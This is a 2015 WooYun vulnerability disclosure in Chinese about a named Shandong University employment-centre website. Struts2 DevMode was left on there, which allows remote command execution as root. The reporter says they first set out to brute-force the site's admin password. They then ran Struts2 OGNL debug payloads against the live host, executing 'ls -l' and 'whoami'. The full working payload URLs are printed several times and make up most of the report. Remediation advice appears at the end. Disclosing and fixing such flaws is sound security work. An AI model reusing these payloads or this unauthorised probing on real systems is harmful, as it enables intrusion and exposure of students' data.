当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118512

漏洞标题:山东某就业与发展指导中心Struts2漏洞一枚

相关厂商:CCERT教育网应急响应组

漏洞作者: Tonix

提交时间:2015-06-08 09:15

修复时间:2015-06-13 09:16

公开时间:2015-06-13 09:16

漏洞类型:系统/服务运维配置不当

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

山东大学学生就业与发展指导中心(http://www.job.sdu.edu.cn/)Struts2的DevMode未关闭导致远程命令执行;网站用户为root导致危害性扩大,入侵者可随意执行命令。
本来是想爆破山东大学学生就业与发展指导中心(http://www.job.sdu.edu.cn/)后台管理admin的密码的,想必网站的后台入口就是http://www.job.sdu.edu.cn/admin,在浏览器中输入该URL,出来的竟然是这个

ScreenClip.png


眼前一亮,Struts2框架,DevMode没关,nice!
随即,输入payload,ls一下当前目录:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27ls%27,%27-l%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
得出结果如下:

ScreenClip.png


nice,看到满屏的root,想必当前用户也就是root吧,不过还是用whoami试试:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()

ScreenClip.png


果然当前用户就是root,后面不想深入了,基本上可以为所欲为了,毕业生的信息也很重要,是吧。

漏洞证明:

首先,输入http://www.job.sdu.edu.cn/admin证明
1.网站用的是Struts2;
2.DevMode是开启的

ScreenClip.png


其次,输入payload,ls成功
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27ls%27,%27-l%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()

ScreenClip.png


最后,证明当前用户就是root:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()

ScreenClip.png


修复方案:

1.将Struts2的DevMode置成false;
2.请勿使用root作为网站运行用户;
3.请将Struts2升级为最新版本。

版权声明:转载请注明来源 Tonix@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-13 09:16

厂商回复:

最新状态:

暂无


漏洞评价:

评论